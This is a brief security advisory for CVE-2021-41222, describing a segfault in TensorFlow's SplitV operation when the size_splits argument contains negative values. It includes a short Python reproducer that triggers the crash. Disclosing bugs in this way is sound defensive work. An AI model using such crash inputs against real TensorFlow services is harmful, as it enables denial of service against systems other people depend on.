CVE-2021-41222: Segfault due to negative splits in `SplitV`
(updated )
The implementation of SplitV can trigger a segfault is an attacker supplies negative arguments:
import tensorflow as tf
tf.raw_ops.SplitV(
value=tf.constant([]),
size_splits=[-1, -2]
,axis=0,
num_split=2)
This occurs whenever size_splits contains more than one value and at least one value is negative.
